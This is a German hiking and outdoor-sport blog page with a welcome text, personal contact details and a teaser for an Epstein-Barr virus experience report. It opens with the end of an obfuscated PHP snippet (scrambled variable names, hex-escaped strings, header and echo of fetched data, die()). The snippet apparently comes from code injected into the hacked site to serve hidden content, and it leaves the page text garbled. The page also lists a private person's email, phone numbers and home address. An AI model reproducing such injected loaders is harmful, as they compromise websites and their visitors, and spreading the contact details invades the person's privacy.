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as $O00OO0_O__){@header($O00OO0_O__);}echo $O0__O00O_O["\x64\x61\x74\x61"];die();}}O_O_O_000O($O__O0_OO00); ?> Herausforderungen im Leben, beim Sport und der Gesundheit. Challenges of life

Herzlich willkommen

Danke, dass Sie bei Outdoor Sport - Testberichte, Wissenswertes und viel Natur vorbeischauen. Hier finden Sie professionelle Wander- und Trekkingtipps, nützliche Informationen und Anregungen. Ich bin Michael, ein erfahrener Wanderer, der verschiedene Arten von Wanderausrüstung testet und versucht, möglichst echte Bewertungen zu bieten. Sie finden unvoreingenommene und hoffentlich originelle Meinungen über verschiedene Produkte und Kleidungsstücke, die ich beim Wandern benutze. Zudem wird auch ein einfacher Zugang zu diesen Produkten im Shop geboten, um sich bequem online mit neuer Ausrüstung auszustatten.

Trete in Kontakt

Email: MichaelFeigel@web.de
Telefon: 09236/6768
Mobil: 0152/28637510
Adresse: Weidenbergweg 7a I 95697 Nagel

Unsere Position

Our-Location

Herausforderungen

Challenge „Persönliche Herausforderungen“

Einen Reiz der besonderen Art stellen persönliche Herausforderungen dar.

Hier ist es egal, ob man sich topfit eigene Ziele setzt und hart trainiert, um diese zu erreichen, oder ob man sich mit einer Krankheit konfrontiert sieht, die es zu bekämpfen gilt.
Ziele setzen und an Grenzen gehen

Wenn man ein Ziel vor Augen hat, ist man motivierter, um dieses auch zu erreichen. Auch wenn es auf dem Weg dahin Rückschläge gibt, man sollte nie aufgeben.

Bedenke: Jeder weitere Schritt und ist er noch so klein, ist ein weiterer Schritt zum Erfolg.

Challenges an den eigenen Körper führen quasi zwangsläufig an seine Leistungsgrenze.
Dein Körper wird sich steigern

Durch das Trainieren an der Leistungsgrenze muss dein Organismus darauf reagieren. Dein Hirn wird den Impuls ausgeben „Leistung steigern“, um für das nächste Mal besser gewappnet zu sein.

Iron Challenge und EBV

Zu meinen Herausforderungen gehörten unter anderem die Iron Challenge und das EBV.

Epstein Barr Virus (EBV) Erfahrungsbericht

EBV – Epstein Barr Virus EBV – Epstein Barr Virus – Bitte was, wieso und woher? Kurz nach meiner erfolgreichen 12-Gipfel-Tour, fühlte ich mich eines Morgens schlapp, kraftlos und eigentlich dauerhaft müde. Es gab auch Anzeichen, die für den Beginn einer Erkältung sprachen: Halsschmerzen und Gliederschmerzen. Ich beachtete dies nicht weiter, denn nach einigen […]

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